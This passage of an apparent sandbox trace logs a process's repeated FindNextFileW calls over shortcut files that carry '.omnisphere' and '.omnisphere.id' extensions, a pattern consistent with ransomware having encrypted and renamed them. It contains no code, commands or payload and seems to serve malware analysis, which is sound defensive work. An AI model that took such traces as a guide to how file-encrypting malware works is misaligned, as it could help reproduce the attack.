nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1vHknANfpxmxhu.lnk.omnisphere.id", cAlternateFileName="1VHKNA~1.ID")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f4b0bfe, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f4b0bfe, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27f08669, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x849, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1X4wmVa.lnk.omnisphere", cAlternateFileName="1X4WMV~1.OMN")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ee2461, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27ee2461, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27f08669, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1X4wmVa.lnk.omnisphere.id", cAlternateFileName="1X4WMV~1.ID")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e28d1d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20e28d1d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27f2e94d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1_FD.lnk.omnisphere", cAlternateFileName="1_FDLN~1.OMN")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27f2e94d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27f2e94d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27f2e94d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1_FD.lnk.omnisphere.id", cAlternateFileName="1_FDLN~1.ID")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fcdef07, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1fcdef07, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27f54a9d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="2 yXsPUC0GNavVxC Fst.lnk.omnisphere", cAlternateFileName="2YXSPU~1.OMN")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27f54a9d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27f54a9d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27f54a9d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="2 yXsPUC0GNavVxC Fst.lnk.omnisphere.id", cAlternateFileName="2YXSPU~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e0b901c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e0b901c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27f7ae12, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="2HMvxJbgu86g.lnk.omnisphere", cAlternateFileName="2HMVXJ~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27f7ae12, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27f7ae12, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27f7ae12, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="2HMvxJbgu86g.lnk.omnisphere.id", cAlternateFileName="2HMVXJ~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22424102, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22424102, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27fa0f77, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="2jZdV25MK2Ss.lnk.omnisphere", cAlternateFileName="2JZDV2~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27fa0f77, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27fa0f77, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27fa0f77, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="2jZdV25MK2Ss.lnk.omnisphere.id", cAlternateFileName="2JZDV2~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2172d449, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2172d449, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27fed609, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x931, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="388f.lnk.omnisphere", cAlternateFileName="388FLN~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27fc7176, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27fc7176, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27fc7176, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="388f.lnk.omnisphere.id", cAlternateFileName="388FLN~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c067aa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22c067aa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x280136fc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x962, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="39aQ.lnk.omnisphere", cAlternateFileName="39AQLN~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x280136fc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x280136fc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x280136fc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="39aQ.lnk.omnisphere.id", cAlternateFileName="39AQLN~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2194358e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2194358e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28039a0b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8d4, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="4vvwNb6.lnk.omnisphere", cAlternateFileName="4VVWNB~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28039a0b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28039a0b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28039a0b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="4vvwNb6.lnk.omnisphere.id", cAlternateFileName="4VVWNB~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223655ad, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x223655ad, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2805fb49, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa80, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="5Fvi.lnk.omnisphere", cAlternateFileName="5FVILN~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2805fb49, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2805fb49, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2805fb49, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="5Fvi.lnk.omnisphere.id", cAlternateFileName="5FVILN~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7580207, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x208df2b7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28085e9d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x894, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="5QADBusLM.lnk.omnisphere", cAlternateFileName="5QADBU~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28085e9d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28085e9d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28085e9d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="5QADBusLM.lnk.omnisphere.id", cAlternateFileName="5QADBU~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6aee6c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e6aee6c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x280f8e15, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x90d, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="6nik2H95B_ogXKnNe.lnk.omnisphere", cAlternateFileName="6NIK2H~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x280d22cc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x280d22cc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x280f8e15, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="6nik2H95B_ogXKnNe.lnk.omnisphere.id", cAlternateFileName="6NIK2H~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26789c, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x20715679, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2811e827, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x93d, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="6rJr.lnk.omnisphere", cAlternateFileName="6RJRLN~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2811e827, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2811e827, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2811e827, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="6rJr.lnk.omnisphere.id", cAlternateFileName="6RJRLN~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2198f98a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2198f98a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2816ae55, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="6XR7YRGHkty.lnk.omnisphere", cAlternateFileName="6XR7YR~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2816ae55, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2816ae55, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2816ae55, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="6XR7YRGHkty.lnk.omnisphere.id", cAlternateFileName="6XR7YR~1.ID")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216949db, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x216949db, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x281b71a3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa0d, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="7cwY3XNtx1KVaERb.lnk.omnisphere", cAlternateFileName="7CWY3X~1.OMN")) returned 1 [0127.760] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28190f93, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28190f93, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x281b71a3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="7cwY3XNtx1KVaERb.lnk.omnisphere.id", cAlternateFileName="7CWY3X~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20440962, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20440962, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x281dd353, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa2a, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="7npl KTnMO.flv.lnk.omnisphere", cAlternateFileName="7NPLKT~1.OMN")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x281dd353, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x281dd353, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x281dd353, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="7npl KTnMO.flv.lnk.omnisphere.id", cAlternateFileName="7NPLKT~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e19de5b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e19de5b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28229f72, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9d9, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="7sYqE1e.lnk.omnisphere", cAlternateFileName="7SYQE1~1.OMN")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28229f72, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28229f72, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28229f72, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="7sYqE1e.lnk.omnisphere.id", cAlternateFileName="7SYQE1~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x222f2ea4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x222f2ea4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2824fa65, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="8AH6.lnk.omnisphere", cAlternateFileName="8AH6LN~1.OMN")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2824fa65, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2824fa65, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2824fa65, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="8AH6.lnk.omnisphere.id", cAlternateFileName="8AH6LN~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fb9ea7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20fb9ea7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2830e6b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x90d, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="97fA0RJbCRegJ90g4.lnk.omnisphere", cAlternateFileName="97FA0R~1.OMN")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2830e6b3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2830e6b3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2830e6b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="97fA0RJbCRegJ90g4.lnk.omnisphere.id", cAlternateFileName="97FA0R~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf932b429, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x2271f07d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2835ab39, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="9cb4lAWmT4epM 8gG.lnk.omnisphere", cAlternateFileName="9CB4LA~1.OMN")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28334830, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28334830, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2835ab39, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="9cb4lAWmT4epM 8gG.lnk.omnisphere.id", cAlternateFileName="9CB4LA~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22fdb82b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22fdb82b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28380d77, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="9Knv8Dbpe8QFyRb.flv.lnk.omnisphere", cAlternateFileName="9KNV8D~1.OMN")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28380d77, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28380d77, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28380d77, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="9Knv8Dbpe8QFyRb.flv.lnk.omnisphere.id", cAlternateFileName="9KNV8D~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ff7fef, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21ff7fef, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x283cd1df, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="9XgYhPYcWzu1Fe.lnk.omnisphere", cAlternateFileName="9XGYHP~1.OMN")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283cd1df, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x283cd1df, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x283cd1df, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="9XgYhPYcWzu1Fe.lnk.omnisphere.id", cAlternateFileName="9XGYHP~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22b16e83, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22b16e83, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28419721, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x908, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="a1X2_-WPNwQzbcqj.lnk.omnisphere", cAlternateFileName="A1X2_-~1.OMN")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283f3507, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x283f3507, ftLastAccessTime.dwHighDateTime=0x1d5826d, 